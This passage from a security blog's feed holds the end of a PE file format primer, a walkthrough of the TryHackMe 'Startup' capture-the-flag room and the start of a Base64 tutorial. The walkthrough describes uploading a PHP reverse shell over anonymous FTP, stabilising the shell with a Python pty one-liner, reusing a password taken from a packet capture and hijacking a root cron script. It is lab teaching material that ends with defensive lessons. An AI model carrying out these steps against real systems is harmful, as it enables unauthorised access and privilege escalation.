  &lt;li&gt;&lt;a href=&quot;https://ntcore.com/?page_id=388&quot;&gt;CFF Explorer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://wjradburn.com/software/&quot;&gt;PEView&lt;/a&gt; (Currently has limited functionality when analyzing 64-bit files)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/hasherezade/pe-bear/releases/&quot;&gt;PE-Bear&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.winitor.com/download&quot;&gt;PEStudio&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Linux&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/blackberry/pe_tree&quot;&gt;pe-tree&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Multi-platform&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://blog.didierstevens.com/2020/03/15/pecheck-py-version-0-7-10/&quot;&gt;pecheck&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The tool you choose to use will be a matter of preference and platform. On Windows, I like CFF Explorer. Let’s use it for the final section of this post.&lt;/p&gt;

&lt;p&gt;Installation of CFF explorer adds a context-menu to Windows that allows you to right-click any file and select “Open with CFF Explorer”. When we open malware.exe with CFF Explorer, we are greeted with the PE file structure and fields that we introduced above. These should look familiar:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_CFFopen.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When we click on the DOS header, we are presented with its fields, including two with which we are now familiar-&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e_magic&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e_lfanew&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_CFFDOS.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Examining the NT header, we see the familiar &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Signature&lt;/code&gt; field and the value we identifed earlier:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/PEFile/Capture_CFFNTheader.PNG&quot; alt=&quot;&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this point you get the idea. We can continue to use CFF Explorer to investigate the values of the various fields listed above. I’d encourage you to do so yourself using whatever tool you prefer. Definitely investigate the Image File Header and the Optional Header. Using a hex editor, confirm some of the values of the fields that you see in your tool.&lt;/p&gt;

&lt;p&gt;This guide was meant as an introduction to the PE file format and there is a lot more that we have not covered here. If you would like to learn more, again I’d suggest starting with the Microsoft documentation &lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format&quot;&gt;here&lt;/a&gt;. Hopefully you learned as much as I did while writing this article. I hope to continue this series with a deep dive into some other important aspects of the PE file and malware analysis, including the Import Address Table and the practice of packing.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Executable&quot;&gt;https://en.wikipedia.org/wiki/Portable_Executable&lt;/a&gt; &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Mohanta, Abhijit and Anoop Saldanha. &lt;em&gt;Malware Analysis and Detection Engineering&lt;/em&gt;. New York: Springer Science+Business Media, 2020. &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://resources.infosecinstitute.com/topic/2-malware-researchers-handbook-demystifying-pe-file/&quot;&gt;https://resources.infosecinstitute.com/topic/2-malware-researchers-handbook-demystifying-pe-file/&lt;/a&gt; &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:4&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format&quot;&gt;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format&lt;/a&gt; &lt;a href=&quot;#fnref:4&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:5&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://blog.kowalczyk.info/articles/pefileformat.html&quot;&gt;https://blog.kowalczyk.info/articles/pefileformat.html&lt;/a&gt; &lt;a href=&quot;#fnref:5&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:6&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://blog.kowalczyk.info/articles/pefileformat.html&quot;&gt;https://blog.kowalczyk.info/articles/pefileformat.html&lt;/a&gt; &lt;a href=&quot;#fnref:6&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:7&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-image-only&quot;&gt;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-image-only&lt;/a&gt; &lt;a href=&quot;#fnref:7&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:8&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#characteristics&quot;&gt;https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#characteristics&lt;/a&gt; &lt;a href=&quot;#fnref:8&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Mon, 09 Jan 2023 00:00:00 -0500</pubDate>
        <link>//2023/01/09/Malware-Analysis-Fundamentals-The-PE-File-Format/</link>
        <link href="/2023/01/09/Malware-Analysis-Fundamentals-The-PE-File-Format/"/>
        <guid isPermaLink="true">/2023/01/09/Malware-Analysis-Fundamentals-The-PE-File-Format/</guid>
      </item>
    
      <item>
        <title>CTF Writeup: tryhackme.com Startup</title>
        <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Let’s do another capture the flag machine on tryhackme.com. Today we will do the Startup machine located &lt;a href=&quot;https://tryhackme.com/room/startup&quot;&gt;here&lt;/a&gt;. The introduction for this machine reads:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;We are Spice Hut, a new startup company that just made it big! We offer a variety of spices and club sandwiches (in case you get hungry), but that is not why you are here. To be truthful, we aren’t sure if our developers know what they are doing and our security concerns are rising. We ask that you perform a thorough penetration test and try to own root. Good luck!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In addition to obtaining the user and root flags, we are also tasked with finding the “secret spicy soup recipe.” Connect to tryhackme.com via VPN and start the machine.&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;p&gt;We begin with an nmap scan of the target:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are a lot of interesting things here. First, we have an ftp server on port 21 with anonymous login permitted. There is also an ssh server running on the standard port 22. There is an Apache web server running on port 80. Let’s take a closer look at the FTP server first. Here I login on using the user name “anonymous” and no password (just hit enter when prompted).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once in, we take a directory listing with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ls&lt;/code&gt;. We see that there are two files: important.jpg and notice.txt.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s go ahead and download them with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mget&lt;/code&gt; command, and the exit out of the ftp client with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bye&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Examining the file notice.txt:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We see a name Maya that could potentially be a user name. Let’s take a note of that. Examining the file important.jpg:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot6&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We have some sort of Among Us meme as the notice said. Not sure if this is of any use, but we’ll take a note for now.&lt;/p&gt;

&lt;p&gt;Let’s move on to the web server. First, we’ll just take a look in the browser.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Nothing particularly interesting. Let’s look at the html:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We see an html comment:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;!--when are we gonna update this??--&gt;
&lt;/blockquote&gt;

&lt;p&gt;Not very interesting but it does indicate that the web developers are a bit behind on their work.&lt;/p&gt;

&lt;p&gt;Now let’s run a gobuster scan and do directory enumeration:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the results, we see that there is a interesting directory /files. Let’s take a look:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Interesting! This directory appears to be the same as the ftp directory. If we are able to upload to the ftp server, we could upload a php reverse shell and get remote code execution. Let’s try it.&lt;/p&gt;

&lt;h2 id=&quot;foothold&quot;&gt;Foothold&lt;/h2&gt;

&lt;p&gt;First, we need to get some php reverse shell code. We’ll get it from the &lt;a href=&quot;https://github.com/pentestmonkey/php-reverse-shell&quot;&gt;pentestmonkey github&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We need to edit the file to change the listener IP address to our own machine. Here I change it to the IP address on my tryhackme.com VPN interface (often tun0) using the nano text editor. I leave the port as 1234. Save the changes. I saved the file as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;php-reverse-shell.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now let’s go back to our ftp client and try to upload this reverse shell. Log back in to the ftp server and use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;put&lt;/code&gt; command on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;php-reverse-shell.php&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We are getting a 553 error. We may not have permission to upload to this directory. Let’s try to upload to the directory called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ftp&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Success. Now let’s open the directory in our browser again to see if the file is visible:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It is indeed there. Now all we have to do is set up our listener using netcat on our attacking machine using the same port number in the reverse shell script above:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Then go back to the web page above and click on the ‘php-reverse-shell.php’ link. The web page should hang and we should see a connection to our listener:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami&lt;/code&gt;, we see that we are the user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;www-data&lt;/code&gt; as we would expect.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s look for other users on this machine. We’ll see if we can view /etc/passwd:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We see a user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lennie&lt;/code&gt;. Let’s see where we are and what is here:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We also see a file called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recipe.txt&lt;/code&gt;. Surely that’s what we are looking for. View it to get the first flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;user-flag&quot;&gt;User flag&lt;/h2&gt;

&lt;p&gt;Now we need to get the user flag. The only regular user on the machine is lennie. Notice that in the root directory there is a directory called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;incidents&lt;/code&gt;. What is in there?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot22.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’d love to get our hands on that packet capture file to see what’s in it. We can upload it to the ftp server on this machine and then pull it down from our attack machine. Before we can do that however, we will need to stabilize this shell. Assuming python is installed we can do that with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python -c &apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot23.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now let’s login to the ftp on the web server machine and upload that .pcapng file. Here I login using 127.0.0.1, change the local directory to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/incidents&lt;/code&gt; using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lcd&lt;/code&gt;, change the ftp directory to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ftp&lt;/code&gt; using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cd&lt;/code&gt;, then upload the file using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;put suspicious.pcapng&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we go back to our attacking machine and login to the ftp server once again to download the file:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Let’s take a look at the packet capture using wireshark:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looking through the pcap file, we see something interesting at packet number 34. Someone had the same idea as us and uploaded a reverse shell via the ftp site. Here we can see their web request, which was likely to call back to their listener:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In the very next packet we see some potentially suspicious activity on port 4444. Let’s look closer. Right-click on the packet, select “Follow”, then select “TCP Stream”. Here we can see some commands being run in the clear under the www-data user. If we scroll down a bit we can see someone attempt to view lennie’s home directory but get denied. The they attempt to see what commands www-data can run as root using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo -l&lt;/code&gt;. When prompted for a password, they enter a password (redacted) but are again denied:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We know that isn’t the password for the www-data user. Let’s go try to login to the machine as lennie using ssh and that password.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot29.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;That was indeed lennie’s password. If we look at his home directory, we have the user flag (redacted):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;root-flag&quot;&gt;Root flag&lt;/h2&gt;

&lt;p&gt;Last of all, we need to get that root flag. Notice that there is a directory in lennie’s home directory called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;scripts&lt;/code&gt;. Let’s take a look:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot31.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We see that the files in this folder are owned by root. There is a file &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;startup_list.txt&lt;/code&gt; that interestinly was modified less than a minute ago (as of this writing). There is a bash script called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;planner.sh&lt;/code&gt;. What does that do?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot32.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It simply write the contents of the bash variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$LIST&lt;/code&gt; to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;startup_list.txt&lt;/code&gt; file and then calls another script at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/print.sh&lt;/code&gt;. The fact that&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;startup_list.txt&lt;/code&gt; was just updated a minute ago indicates that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;planner.sh&lt;/code&gt; may be running every minute as a cron job. What is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/print.sh&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot33.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This file is owned by lennie and just echos “Done!”. Since we have write access to this file we can modify it to do whatever we want. Also, if indeed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;planner.sh&lt;/code&gt; is being run every minute as the root user, we can edit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/print.sh&lt;/code&gt; to access the root flag. Since it will be run as root, it will have the correct permissions to read the root flag. We know that the root flag is likely at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/root/root.txt&lt;/code&gt;, so let’s edit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;print.sh&lt;/code&gt; to write the the root flag to a file. Here I have it write the root flag to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/root.txt&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot34.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Save that file. Now we just have to wait about a minute to see if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;planner.sh&lt;/code&gt; script executes as a cron job. If so, there will be a file called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root.txt&lt;/code&gt; in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp directory&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/Startup/Screenshot35.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And so we have the root flag (redacted).&lt;/p&gt;

&lt;h2 id=&quot;lessons-learned&quot;&gt;Lessons learned&lt;/h2&gt;

&lt;p&gt;What security lessons can be learned from this exercise? There are a few:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The FTP server is a gaping security hole. Generally speaking FTP should not be used at all given that it sends data in the clear. But if one must be used then anonymous login should not be permitted. Furthermore, the FTP server directory was also available from the web root, allowing literally anyone anyone to upload malicious code to the server.&lt;/li&gt;
  &lt;li&gt;An account password was available in the .pcapng file that we found.&lt;/li&gt;
  &lt;li&gt;A cron job set up by the root user to run a script invoked another script that was owned and writable by a regular user. This allows the regular user to execute arbitrary code as root and escalate privileges. In this case there was no need for this script as all it did was echo a message to the terminal.&lt;/li&gt;
&lt;/ol&gt;

</description>
        <pubDate>Sat, 14 May 2022 00:00:00 -0400</pubDate>
        <link>//2022/05/14/CTF-Writeup-tryhackme.com-Startup/</link>
        <link href="/2022/05/14/CTF-Writeup-tryhackme.com-Startup/"/>
        <guid isPermaLink="true">/2022/05/14/CTF-Writeup-tryhackme.com-Startup/</guid>
      </item>
    
      <item>
        <title>Know Your Encodings: Roll your own Base64 encoder</title>
        <description>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;Most of us will recognize Base64 when we see it. But how familiar are you with it really? Do you know how it works? In this post we will take a deep dive into Base64 and how it is used to encode data. I think that one of the best ways to learn a process like Base64 encoding is to roll our own code. So, let’s make our own base64 encoder/decoder in python.&lt;/p&gt;

&lt;p&gt;From Wikipedia:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“Base64 is a group of binary-to-text encoding schemes that represent binary data (more specifically, a sequence of 8-bit bytes) in sequences of 24 bits that can be represented by four 6-bit Base64 digits.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Common to all binary-to-text encoding schemes, Base64 is designed to carry data stored in binary formats across channels that only reliably support text content. Base64 is particularly prevalent on the World Wide Web where one of its uses is the ability to embed image files or other binary assets inside textual assets such as HTML and CSS files.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Before we write any code, let’s familiarize ourselves with the Base64 encoding and decoding process. We will focus on Base64 encoding as defined by &lt;a href=&quot;https://en.wikipedia.org/wiki/Base64#RFC_4648&quot;&gt;RFC 4648&lt;/a&gt;, which is the most common standard. The following table shows the encoding scheme for Base64:&lt;/p&gt;

&lt;style type=&quot;text/css&quot;&gt;
.tg  {border-collapse:collapse;border-spacing:0;}
.tg td{border-color:black;border-style:solid;border-width:1px;font-family:Arial, sans-serif;font-size:14px;
  overflow:hidden;padding:10px 5px;word-break:normal;}
.tg th{border-color:black;border-style:solid;border-width:1px;font-family:Arial, sans-serif;font-size:14px;
  font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;}
.tg .tg-43w8{background-color:#333333;border-color:inherit;color:#ffffff;font-size:14px;font-weight:bold;text-align:left;
  vertical-align:top}
.tg .tg-g1fv{background-color:#333333;border-color:inherit;color:#ffffff;text-align:left;vertical-align:top}
&lt;/style&gt;

&lt;table class=&quot;tg&quot;&gt;
&lt;thead&gt;
  &lt;tr&gt;
    &lt;th class=&quot;tg-43w8&quot;&gt;Binary&lt;/th&gt;
    &lt;th class=&quot;tg-43w8&quot;&gt;Char&lt;/th&gt;
    &lt;th class=&quot;tg-43w8&quot;&gt;Binary&lt;/th&gt;
    &lt;th class=&quot;tg-43w8&quot;&gt;Char&lt;/th&gt;
    &lt;th class=&quot;tg-43w8&quot;&gt;Binary&lt;/th&gt;
    &lt;th class=&quot;tg-43w8&quot;&gt;Char&lt;/th&gt;
    &lt;th class=&quot;tg-43w8&quot;&gt;Binary&lt;/th&gt;
    &lt;th class=&quot;tg-43w8&quot;&gt;Char&lt;/th&gt;
  &lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;000000&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;A&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;010000&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;Q&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;100000&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;g&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;110000&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;w&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;000001&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;B&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;010001&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;R&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;100001&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;h&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;110001&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;x&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;000010&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;C&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;010010&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;S&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;100010&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;i&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;110010&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;y&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;000011&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;D&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;010011&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;T&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;100011&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;j&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;110011&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;z&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;000100&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;E&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;010100&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;U&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;100100&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;k&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;110100&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;0&lt;/td&gt;
  &lt;/tr&gt;
  &lt;tr&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;000101&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;F&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;010101&lt;/td&gt;
    &lt;td class=&quot;tg-g1fv&quot;&gt;V&lt;/td&gt;
